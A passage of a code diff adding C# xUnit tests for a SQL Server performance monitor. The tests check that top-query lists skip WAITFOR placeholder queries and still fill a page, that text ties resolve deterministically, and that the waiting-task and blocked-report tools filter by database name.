+        Assert.Contains("PARTITION BY sql_handle ORDER BY collection_time DESC, collection_id DESC) AS rn", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheQueryStoreTopList_RanksOnATotalOrder()
+    {
+        var sql = MethodText("Lite/Services/LocalDataService.QueryStore.cs", "GetQueryStoreTopQueriesAsync");
+
+        Assert.Contains("AVG(CAST(avg_duration_us AS DOUBLE PRECISION)) DESC, " + QueryStoreKey + "\n", sql, StringComparison.Ordinal);
+        Assert.Contains("ROW_NUMBER() OVER (ORDER BY r.total_executions * r.avg_duration_ms DESC, r.database_name, r.query_id, r.plan_id, r.query_hash, r.execution_type_desc, r.replica_role) AS page_ord", sql, StringComparison.Ordinal);
+        /* #5381: the limit moved to code, after the WAITFOR filter, so the statement now ends on the page order; the total order is pinned by the page_ord line above. */
+        Assert.Contains("\nORDER BY p.page_ord", sql, StringComparison.Ordinal);
+        AssertNoRankingOrderEndsOnTheMetric(sql, @"ORDER BY (?:SUM\(execution_count\) \*|r\.total_executions \*)[^\n]*");
+    }
+
+    private static void AssertNoRankingOrderEndsOnTheMetric(string sql, string rankingOrderPattern)
+    {
+        var orders = Regex.Matches(sql, rankingOrderPattern).Select(m => m.Value.TrimEnd()).ToList();
+        Assert.NotEmpty(orders);
+        Assert.All(orders, order => Assert.False(order.EndsWith("DESC", StringComparison.Ordinal),
+            $"the ranking '{order}' ends on the metric alone, so a tie at the cut is broken by scan order"));
+    }
+
+    /// <summary>The source text of one reader method, from its declaration to the next member, with line endings normalized.</summary>
+    private static string MethodText(string relative, string method)
+    {
+        var path = Path.Combine(RepoRoot(), relative);
+        Assert.True(File.Exists(path), $"scan target not found: {path}");
+        var text = File.ReadAllText(path).ReplaceLineEndings("\n");
+        var start = text.IndexOf(" " + method + "(", StringComparison.Ordinal);
+        Assert.True(start >= 0, $"{method} not found in {relative}");
+        var next = Regex.Match(text[(start + 1)..], @"\n    (?:public|internal|private|protected)\b");
+        return next.Success ? text.Substring(start, next.Index + 1) : text[start..];
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/TopListWaitforRefillReaderTests.cs b/Lite.Tests/TopListWaitforRefillReaderTests.cs
new file mode 100644
index 0000000000..5183b11d45
--- /dev/null
+++ b/Lite.Tests/TopListWaitforRefillReaderTests.cs
@@ -0,0 +1,189 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5313 (Lite twin of Darling's <c>TopFill</c>): <c>GetTopQueriesByCpuAsync</c> and <c>GetQueryStoreTopQueriesAsync</c> rank
+/// candidates, drop the WAITFOR shells, then cap at <c>top</c>. They used to over-fetch a fixed five, so six or more shells in the
+/// top candidates gave a short page. The page now holds <c>top</c> rows whenever <c>top</c> non-WAITFOR keys qualify, a window with
+/// fewer returns all of them, and a key with no text still shows.
+/// </summary>
+public sealed class TopListWaitforRefillReaderTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerId = 8817;
+    private const int Top = 5;
+    private static readonly DateTime Collected = DateTime.SpecifyKind(DateTime.UtcNow.AddMinutes(-90), DateTimeKind.Unspecified);
+
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public TopListWaitforRefillReaderTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    private async Task ExecAsync(string sql, params object?[] values)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var value in values)
+        {
+            cmd.Parameters.Add(new DuckDBParameter { Value = value });
+        }
+
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>One query_stats key whose CPU (the ranking) is <paramref name="cpu"/>; a null text seeds a key with no text.</summary>
+    private Task SeedStatsKeyAsync(string hash, long cpu, string? text) => ExecAsync(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name,
+     query_hash, sql_handle, last_execution_time, delta_execution_count,
+     delta_worker_time, delta_elapsed_time, query_text)
+VALUES ($1, $2, $3, 'TestSrv', 'TestDb', $4, $5, $2, 10, $6, $6, $7)", _nextId++, Collected, ServerId, hash, "0xH" + hash, cpu, text);
+
+    /// <summary>One query_store_stats key whose duration (the ranking) is <paramref name="durationUs"/>.</summary>
+    private Task SeedStoreKeyAsync(long queryId, long durationUs, string? text) => ExecAsync(@"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name,
+     query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+     query_text, query_hash, execution_count, avg_cpu_time_us, avg_duration_us,
+     avg_logical_io_reads, avg_logical_io_writes, avg_physical_io_reads,
+     runtime_stats_interval_id, interval_start_time_utc)
+VALUES ($1, $2, $3, 'TestSrv', 'TestDb', $4, $4, 'Regular', $2, $2, $5, $6, 10, 1000, $7, 100, 0, 0, 1, $2)",
+        _nextId++, Collected, ServerId, queryId, text, "0xQ" + queryId, durationUs);
+
+    /// <summary>Seeds <paramref name="waitfors"/> WAITFOR keys ranked above <paramref name="normals"/> ordinary ones, both for stats and the store.</summary>
+    private async Task SeedAsync(int waitfors, int normals, string? topText = "UNSET")
+    {
+        var total = waitfors + normals;
+        for (var i = 0; i < total; i++)
+        {
+            var rank = total - i; // the first key ranks highest
+            var isWaitfor = i < waitfors;
+            var text = isWaitfor ? $"WAITFOR DELAY '00:00:{i:00}'" : $"SELECT {i} FROM dbo.t{i}";
+            await SeedStatsKeyAsync($"0xK{i:0000}", rank * 1000L, text);
+            await SeedStoreKeyAsync(1000 + i, rank * 1000L, text);
+        }
+
+        if (topText != "UNSET")
+        {
+            // A key with no text that outranks everything: it must still show.
+            await SeedStatsKeyAsync("0xKNULL", (total + 5) * 1000L, topText);
+            await SeedStoreKeyAsync(9999, (total + 5) * 1000L, topText);
+        }
+    }
+
+    [Fact]
+    public async Task SixShellsInTheTopCandidates_StillGiveAFullPage()
+    {
+        await SeedAsync(waitfors: 6, normals: Top + 0);
+        var service = new LocalDataService(_duckDb);
+
+        var stats = await service.GetTopQueriesByCpuAsync(ServerId, hoursBack: 24, top: Top);
+        var store = await service.GetQueryStoreTopQueriesAsync(ServerId, hoursBack: 24, top: Top);
+
+        Assert.Equal(Top, stats.Count);
+        Assert.Equal(Top, store.Count);
+        Assert.All(stats, r => Assert.DoesNotContain("WAITFOR", r.QueryText));
+        Assert.All(store, r => Assert.DoesNotContain("WAITFOR", r.QueryText));
+        Assert.Equal(Enumerable.Range(6, Top).Select(i => $"SELECT {i} FROM dbo.t{i}"), stats.Select(r => r.QueryText));
+        Assert.Equal(Enumerable.Range(6, Top).Select(i => $"SELECT {i} FROM dbo.t{i}"), store.Select(r => r.QueryText));
+    }
+
+    [Fact]
+    public async Task FiftyShellsAboveTheOrdinaryKeys_StillGiveAFullPage()
+    {
+        // 50 shells outrun round one (top + 5) and round two (4x that); round three finds the ordinary keys.
+        await SeedAsync(waitfors: 50, normals: 8);
+        var service = new LocalDataService(_duckDb);
+
+        var stats = await service.GetTopQueriesByCpuAsync(ServerId, hoursBack: 24, top: Top);
+        var store = await service.GetQueryStoreTopQueriesAsync(ServerId, hoursBack: 24, top: Top);
+
+        Assert.Equal(Top, stats.Count);
+        Assert.Equal(Top, store.Count);
+        Assert.All(stats, r => Assert.DoesNotContain("WAITFOR", r.QueryText));
+        Assert.All(store, r => Assert.DoesNotContain("WAITFOR", r.QueryText));
+    }
+
+    [Fact]
+    public async Task FewerOrdinaryKeysThanTop_ReturnsAllOfThem()
+    {
+        await SeedAsync(waitfors: 6, normals: 3);
+        var service = new LocalDataService(_duckDb);
+
+        var stats = await service.GetTopQueriesByCpuAsync(ServerId, hoursBack: 24, top: Top);
+        var store = await service.GetQueryStoreTopQueriesAsync(ServerId, hoursBack: 24, top: Top);
+
+        Assert.Equal(3, stats.Count);
+        Assert.Equal(3, store.Count);
+        Assert.All(stats, r => Assert.DoesNotContain("WAITFOR", r.QueryText));
+        Assert.All(store, r => Assert.DoesNotContain("WAITFOR", r.QueryText));
+    }
+
+    [Fact]
+    public async Task OnlyShellsInTheWindow_ReturnsAnEmptyPage()
+    {
+        await SeedAsync(waitfors: 8, normals: 0);
+        var service = new LocalDataService(_duckDb);
+
+        Assert.Empty(await service.GetTopQueriesByCpuAsync(ServerId, hoursBack: 24, top: Top));
+        Assert.Empty(await service.GetQueryStoreTopQueriesAsync(ServerId, hoursBack: 24, top: Top));
+    }
+
+    [Fact]
+    public async Task ANullTextKeyAtTheTop_StillShows_AndTheShellsStillRefill()
+    {
+        await SeedAsync(waitfors: 6, normals: Top, topText: null);
+        var service = new LocalDataService(_duckDb);
+
+        var stats = await service.GetTopQueriesByCpuAsync(ServerId, hoursBack: 24, top: Top);
+        var store = await service.GetQueryStoreTopQueriesAsync(ServerId, hoursBack: 24, top: Top);
+
+        Assert.Equal(Top, stats.Count);
+        Assert.Equal(Top, store.Count);
+        Assert.Equal("0xKNULL", stats[0].QueryHash);
+        Assert.Equal("", stats[0].QueryText);
+        Assert.Equal(9999, store[0].QueryId);
+        Assert.Equal("", store[0].QueryText);
+        Assert.All(stats.Skip(1), r => Assert.DoesNotContain("WAITFOR", r.QueryText));
+        Assert.All(store.Skip(1), r => Assert.DoesNotContain("WAITFOR", r.QueryText));
+    }
+
+    [Fact]
+    public void NextCandidates_StopsWhenFullShortOfCandidatesOrAtTheBound()
+    {
+        Assert.Equal(10, TopFill.FirstCandidates(5));
+        Assert.Null(TopFill.NextCandidates(5, 1, 10, returned: 5, candidateCount: 10));  // full page
+        Assert.Null(TopFill.NextCandidates(5, 1, 10, returned: 2, candidateCount: 7));   // candidates ran out
+        Assert.Equal(40, TopFill.NextCandidates(5, 1, 10, returned: 2, candidateCount: 10));
+        Assert.Null(TopFill.NextCandidates(5, 3, 160, returned: 2, candidateCount: 160)); // round bound
+    }
+}
diff --git a/Lite.Tests/TopTextTieBreakReaderTests.cs b/Lite.Tests/TopTextTieBreakReaderTests.cs
new file mode 100644
index 0000000000..454ef898ca
--- /dev/null
+++ b/Lite.Tests/TopTextTieBreakReaderTests.cs
@@ -0,0 +1,105 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5299 round 2 (N3): the newest-text pick behind <c>GetTopQueriesByCpuAsync</c> and <c>GetQueryStoreTopQueriesAsync</c> breaks a tie on
+/// <c>collection_time</c> on <c>collection_id DESC</c>, the Lite twin of the Darling statements. Two rows of one key at one time with
+/// different texts (the one with the lower collection id is inserted first, which is the one an unordered pick returns) give the text of
+/// the row collected last on every read.
+/// </summary>
+public sealed class TopTextTieBreakReaderTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerId = 8816;
+    private static readonly DateTime Collected = DateTime.SpecifyKind(DateTime.UtcNow.AddMinutes(-90), DateTimeKind.Unspecified);
+
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public TopTextTieBreakReaderTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    private async Task ExecAsync(string sql, params object[] values)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var value in values)
+        {
+            cmd.Parameters.Add(new DuckDBParameter { Value = value });
+        }
+
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    [Fact]
+    public async Task TopQueriesByCpu_PicksTheTextOfTheRowCollectedLast_WhenTwoRowsShareATime()
+    {
+        foreach (var text in new[] { "tie text A (lower collection id)", "tie text B (higher collection id)" })
+        {
+            await ExecAsync(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name,
+     query_hash, sql_handle, last_execution_time, delta_execution_count,
+     delta_worker_time, delta_elapsed_time, query_text)
+VALUES ($1, $2, $3, 'TestSrv', 'TestDb', '0xTIE', '0xHTIE', $2, 10, 1000, 1000, $4)", _nextId++, Collected, ServerId, text);
+        }
+
+        var service = new LocalDataService(_duckDb);
+        for (var run = 0; run < 3; run++)
+        {
+            var rows = await service.GetTopQueriesByCpuAsync(ServerId, hoursBack: 24, top: 5);
+            Assert.Equal("tie text B (higher collection id)", Assert.Single(rows).QueryText);
+        }
+    }
+
+    [Fact]
+    public async Task QueryStoreTop_PicksTheTextOfTheRowCollectedLast_WhenTwoRowsShareATime()
+    {
+        foreach (var text in new[] { "store tie text A (lower collection id)", "store tie text B (higher collection id)" })
+        {
+            await ExecAsync(@"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name,
+     query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+     query_text, query_hash, execution_count, avg_cpu_time_us, avg_duration_us,
+     avg_logical_io_reads, avg_logical_io_writes, avg_physical_io_reads,
+     runtime_stats_interval_id, interval_start_time_utc)
+VALUES ($1, $2, $3, 'TestSrv', 'TestDb', 77, 7, 'Regular', $2, $2, $4, '0xQTIE', 10, 1000, 5000, 100, 0, 0, 1, $2)", _nextId++, Collected, ServerId, text);
+        }
+
+        var service = new LocalDataService(_duckDb);
+        for (var run = 0; run < 3; run++)
+        {
+            var rows = await service.GetQueryStoreTopQueriesAsync(ServerId, hoursBack: 24, top: 5);
+            Assert.Equal("store tie text B (higher collection id)", Assert.Single(rows).QueryText);
+        }
+    }
+}
diff --git a/Lite.Tests/WaitStatsCollectorDefinitionTests.cs b/Lite.Tests/WaitStatsCollectorDefinitionTests.cs
index b90600984a..bc94d557e8 100644
--- a/Lite.Tests/WaitStatsCollectorDefinitionTests.cs
+++ b/Lite.Tests/WaitStatsCollectorDefinitionTests.cs
@@ -28,7 +28,7 @@ public sealed class WaitStatsCollectorDefinitionTests
     private const string ExpectedQuery = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     wait_type = ws.wait_type,
     waiting_tasks_count = ws.waiting_tasks_count,
     wait_time_ms = ws.wait_time_ms,
@@ -41,7 +41,7 @@ WHERE ws.wait_time_ms > 0
        carrier's exact column names, read straight from the DMV. Not on Azure SQL DB (below). */
     private const string ExpectedIdentitySet = @"
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     server_start_time = dosi.sqlserver_start_time,
     server_name = @@SERVERNAME
 FROM sys.dm_os_sys_info AS dosi;";
diff --git a/Lite.Tests/WaitingBlockedDatabaseFilterToolTests.cs b/Lite.Tests/WaitingBlockedDatabaseFilterToolTests.cs
new file mode 100644
index 0000000000..4510f88e24
--- /dev/null
+++ b/Lite.Tests/WaitingBlockedDatabaseFilterToolTests.cs
@@ -0,0 +1,310 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5244 (PR3, lane L2): <c>database_name</c> on Lite's get_waiting_tasks and get_blocked_process_reports, the twins of
+/// Darling's list-taking readers. Both Lite readers already took a database list; what was missing was the MCP
+/// parameter. Each tool gets a DuckDB fixture with three databases where the filter returns only the chosen one, a blank
+/// name returns all of them, the filter runs BEFORE the row cap, and the filtered empty answer says the CHOSEN database
+/// had none while keeping the <c>empty</c> status word.
+/// </summary>
+public sealed class WaitingBlockedDatabaseFilterToolTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const string ServerName = "WaitBlockDbFilterSrv";
+
+    private readonly DuckDbInitializer _duckDb;
+    private readonly string _configDir;
+    private readonly ServerManager _serverManager;
+    private readonly int _serverId;
+    private readonly LocalDataService _service;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 920000;
+
+    public WaitingBlockedDatabaseFilterToolTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _service = new LocalDataService(_duckDb);
+
+        _configDir = Path.Combine(Path.GetTempPath(), "pmlite-waitblockdbfilter-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(_configDir);
+        _serverManager = new ServerManager(_configDir);
+
+        var server = new ServerConnection
+        {
+            Id = Guid.NewGuid().ToString(),
+            ServerName = ServerName,
+            IsEnabled = true,
+        };
+        _serverManager.AddServer(server);
+
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(
+            RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seedConn?.Dispose();
+        try { Directory.Delete(_configDir, recursive: true); } catch (IOException) { /* temp dir */ }
+    }
+
+    // One clock read per test instance (cut to the minute). Reading the clock on every call split rows
+    // seeded together across two minutes whenever a minute boundary passed mid-seed.
+    private readonly DateTime _minuteAnchor = MinuteOf(DateTime.UtcNow);
+
+    private static DateTime MinuteOf(DateTime now) =>
+        new(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+
+    private DateTime Minute(int minutesAgo) => _minuteAnchor.AddMinutes(-minutesAgo);
+
+    private static JsonElement Parse(string json) => JsonDocument.Parse(json).RootElement;
+
+    /* ───────────────────────── get_waiting_tasks ───────────────────────── */
+
+    private async Task SeedThreeDatabaseTasksAsync()
+    {
+        await SeedTaskAsync(Minute(30), "DbA", 11);
+        await SeedTaskAsync(Minute(20), "DbB", 22);
+        await SeedTaskAsync(Minute(10), "DbC", 33);
+    }
+
+    [Fact]
+    public async Task WaitingTasks_OneName_ReturnsOnlyThatDatabasesTasks_AndEchoesTheName()
+    {
+        await SeedThreeDatabaseTasksAsync();
+
+        var root = Parse(await McpWaitTools.GetWaitingTasks(
+            _service, _serverManager, ServerName, database_name: "DbB"));
+
+        var only = Assert.Single(root.GetProperty("tasks").EnumerateArray());
+        Assert.Equal("DbB", only.GetProperty("database_name").GetString());
+        Assert.Equal(22, only.GetProperty("blocking_session_id").GetInt32());
+        Assert.Equal("DbB", root.GetProperty("database_name").GetString());
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public async Task WaitingTasks_BlankName_ReturnsEveryDatabase(string? blank)
+    {
+        await SeedThreeDatabaseTasksAsync();
+
+        var root = Parse(await McpWaitTools.GetWaitingTasks(
+            _service, _serverManager, ServerName, database_name: blank));
+
+        Assert.Equal(3, root.GetProperty("tasks").GetArrayLength());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+    }
+
+    /// <summary>The filter is in the SQL before the limit + 1 fetch, so limit counts the CHOSEN database's tasks: newer
+    /// tasks in another database neither take a slot nor make the page look truncated.</summary>
+    [Fact]
+    public async Task WaitingTasks_Limit_CountsTheChosenDatabasesTasks()
+    {
+        await SeedTaskAsync(Minute(40), "DbA", 11);
+        await SeedTaskAsync(Minute(30), "DbA", 12);
+        await SeedTaskAsync(Minute(5), "DbB", 22);
+        await SeedTaskAsync(Minute(4), "DbB", 23);
+
+        var whole = Parse(await McpWaitTools.GetWaitingTasks(
+            _service, _serverManager, ServerName, limit: 2, database_name: "DbA"));
+        Assert.Equal(2, whole.GetProperty("tasks_returned").GetInt32());
+        Assert.False(whole.GetProperty("truncated").GetBoolean());
+
+        var cut = Parse(await McpWaitTools.GetWaitingTasks(
+            _service, _serverManager, ServerName, limit: 1, database_name: "DbA"));
+        Assert.Equal(1, cut.GetProperty("tasks_returned").GetInt32());
+        Assert.True(cut.GetProperty("truncated").GetBoolean());
+        Assert.Equal(12, cut.GetProperty("tasks")[0].GetProperty("blocking_session_id").GetInt32());
+    }
+
+    [Fact]
+    public async Task WaitingTasks_FilteredEmpty_SaysTheChosenDatabaseHadNone_AndStaysEmpty()
+    {
+        await SeedThreeDatabaseTasksAsync();
+
+        var root = Parse(await McpWaitTools.GetWaitingTasks(
+            _service, _serverManager, ServerName, database_name: "NoSuchDb"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        var text = root.GetProperty("message").GetString()!;
+        Assert.Contains("No waiting tasks captured in the specified time range for the database NoSuchDb. ", text, StringComparison.Ordinal);
+        Assert.Contains("waiting tasks of other databases may well exist", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task WaitingTasks_UnfilteredEmpty_KeepsItsWords()
+    {
+        var root = Parse(await McpWaitTools.GetWaitingTasks(_service, _serverManager, ServerName));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Equal("No waiting tasks captured in the specified time range.", root.GetProperty("message").GetString());
+    }
+
+    /* ───────────────────────── get_blocked_process_reports ───────────────────────── */
+
+    private async Task SeedThreeDatabaseReportsAsync()
+    {
+        await SeedReportAsync(Minute(30), "DbA", 11);
+        await SeedReportAsync(Minute(20), "DbB", 22);
+        await SeedReportAsync(Minute(10), "DbC", 33);
+    }
+
+    [Fact]
+    public async Task BlockedProcessReports_OneName_ReturnsOnlyThatDatabasesReports()
+    {
+        await SeedThreeDatabaseReportsAsync();
+
+        var root = Parse(await McpBlockingTools.GetBlockedProcessReports(
+            _service, _serverManager, ServerName, database_name: "DbB"));
+
+        var only = Assert.Single(root.GetProperty("reports").EnumerateArray());
+        Assert.Equal("DbB", only.GetProperty("database_name").GetString());
+        Assert.Equal(22, only.GetProperty("blocked_spid").GetInt32());
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public async Task BlockedProcessReports_BlankName_ReturnsEveryDatabase(string? blank)
+    {
+        await SeedThreeDatabaseReportsAsync();
+
+        var root = Parse(await McpBlockingTools.GetBlockedProcessReports(
+            _service, _serverManager, ServerName, database_name: blank));
+
+        Assert.Equal(3, root.GetProperty("reports").GetArrayLength());
+        /* N2: a blank is "no filter", and the answer echoes it as null rather than the blank that was sent. */
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+    }
+
+    /// <summary>Both arms, the XE reports and the DMV fallback, keep only the chosen database: a snapshot of another
+    /// database does not appear, and one whose database has no report is answered from the DMV arm.</summary>
+    [Fact]
+    public async Task BlockedProcessReports_DmvArm_FollowsTheFilterToo()
+    {
+        await SeedReportAsync(Minute(30), "DbA", 11);
+        await SeedSnapshotAsync(Minute(20), "DbB", 72);
+        await SeedSnapshotAsync(Minute(10), "DbC", 73);
+
+        var root = Parse(await McpBlockingTools.GetBlockedProcessReports(
+            _service, _serverManager, ServerName, database_name: "DbB"));
+
+        var only = Assert.Single(root.GetProperty("reports").EnumerateArray());
+        Assert.Equal("DbB", only.GetProperty("database_name").GetString());
+        Assert.Equal(72, only.GetProperty("blocked_spid").GetInt32());
+    }
+
+    [Fact]
+    public async Task BlockedProcessReports_Limit_CountsTheChosenDatabasesReports()
+    {
+        await SeedReportAsync(Minute(40), "DbA", 11);
+        await SeedReportAsync(Minute(30), "DbA", 12);
+        await SeedReportAsync(Minute(5), "DbB", 22);
+        await SeedReportAsync(Minute(4), "DbB", 23);
+
+        var whole = Parse(await McpBlockingTools.GetBlockedProcessReports(
+            _service, _serverManager, ServerName, limit: 2, database_name: "DbA"));
+        Assert.Equal(2, whole.GetProperty("reports_returned").GetInt32());
+        Assert.False(whole.GetProperty("truncated").GetBoolean());
+
+        var cut = Parse(await McpBlockingTools.GetBlockedProcessReports(
+            _service, _serverManager, ServerName, limit: 1, database_name: "DbA"));
+        Assert.Equal(1, cut.GetProperty("reports_returned").GetInt32());
+        Assert.True(cut.GetProperty("truncated").GetBoolean());
+        Assert.Equal(12, cut.GetProperty("reports")[0].GetProperty("blocked_spid").GetInt32());
+    }
+
+    [Fact]
+    public async Task BlockedProcessReports_FilteredEmpty_SaysForTheDatabase_AndStaysEmpty()
+    {
+        await SeedThreeDatabaseReportsAsync();
+
+        var root = Parse(await McpBlockingTools.GetBlockedProcessReports(
+            _service, _serverManager, ServerName, database_name: "NoSuchDb"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Contains("No blocked process reports found in the specified time range for the database NoSuchDb.",
+            root.GetProperty("message").GetString()!, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task BlockedProcessReports_UnfilteredEmpty_KeepsItsWords()
+    {
+        var root = Parse(await McpBlockingTools.GetBlockedProcessReports(_service, _serverManager, ServerName));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Equal("No blocked process reports found in the specified time range.", root.GetProperty("message").GetString());
+    }
+
+    /* ───────────────────────── seeding ───────────────────────── */
+
+    private async Task<DuckDBConnection> SeedConnectionAsync()
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+        return _seedConn;
+    }
+
+    private static DateTime Naive(DateTime utc) => DateTime.SpecifyKind(utc, DateTimeKind.Unspecified);
+
+    private async Task ExecAsync(string sql, params object?[] values)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var v in values)
+            cmd.Parameters.Add(new DuckDBParameter { Value = v ?? DBNull.Value });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>The blocking session id doubles as the row's identity in the assertions.</summary>
+    private Task SeedTaskAsync(DateTime at, string database, int blockingSessionId) => ExecAsync(@"
+INSERT INTO waiting_tasks
+    (collection_id, collection_time, server_id, server_name, session_id, wait_type,
+     wait_duration_ms, blocking_session_id, resource_description, database_name)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)",
+        _nextId++, Naive(at), _serverId, ServerName, 55, "LCK_M_X", 5000L, blockingSessionId, "keylock", database);
+
+    private Task SeedReportAsync(DateTime at, string database, int blockedSpid) => ExecAsync(@"
+INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name,
+     blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocked_sql_text, blocking_sql_text,
+     blocked_process_report_xml, contentious_object)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14)",
+        _nextId++, Naive(at), _serverId, ServerName, Naive(at), database, blockedSpid, 90, 8000L, "X", "SELECT 1",
+        "UPDATE T SET x = 1", "<blocked-process-report/>", "dbo.T");
+
+    private Task SeedSnapshotAsync(DateTime at, string database, int blockedSpid) => ExecAsync(@"
+INSERT INTO dmv_blocking_snapshots
+    (collection_id, collection_time, server_id, server_name, monitor_loop, event_time, database_name,
+     blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocking_status, contentious_object, blocked_sql_text, blocking_sql_text)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15)",
+        _nextId++, Naive(at), _serverId, ServerName, -1, Naive(at), database, blockedSpid, 80, 3000L, "S", "suspended",
+        "dbo.U", "SELECT 2", "WAITFOR DELAY '00:01'");
+}
diff --git a/Lite.Tests/WatermarkPolicyTests.cs b/Lite.Tests/WatermarkPolicyTests.cs
index 61e3b32d32..6e2e921c20 100644
--- a/Lite.Tests/WatermarkPolicyTests.cs
+++ b/Lite.Tests/WatermarkPolicyTests.cs
@@ -24,6 +24,7 @@ namespace Lite.Tests;
 /// permanently (#2102, hours-wide). The clamp floors a stale watermark to now-MaxCatchup; a fresh
 /// watermark and a null watermark pass through untouched.
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class WatermarkPolicyTests
 {
     private static readonly DateTime Now = new(2026, 7, 17, 12, 0, 0, DateTimeKind.Utc);
@@ -266,11 +267,11 @@ public void TheLiteSuite_RunsOnEveryTreeTheHorizonPinScans()
             .Replace("\r\n", "\n", StringComparison.Ordinal);
 
         /* #3887: the filter that gates the SUITE is the lite-tests matrix job's 'lite_shard' — a
-           byte-for-byte copy of 'lite', pinned equal by CrossAppGuardCiGateTests. This pin follows the
-           suite rather than the name, because what it protects is the Darling Service tree REACHING the
+           copy of 'lite' (split with 'darling_reads_shard'), pinned equal by CrossAppGuardCiGateTests. This pin
+           follows the suite rather than the name, because what it protects is the Darling Service tree REACHING the
            tests; 'lite' itself still gates the Lite build and publish in the build job. */
